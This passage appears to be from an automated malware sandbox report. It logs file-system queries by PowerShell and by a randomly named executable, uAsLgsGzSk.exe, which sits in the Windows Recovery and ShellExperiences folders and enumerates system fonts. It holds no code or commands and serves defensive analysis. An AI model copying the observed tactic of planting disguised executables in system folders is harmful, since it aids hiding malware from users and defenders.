Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Recovery\uAsLgsGzSk.exe	Queries volume information: C:\Recovery\uAsLgsGzSk.exe VolumeInformation
Source: C:\Recovery\uAsLgsGzSk.exe	Queries volume information: C:\Recovery\uAsLgsGzSk.exe VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\ShellExperiences\uAsLgsGzSk.exe VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
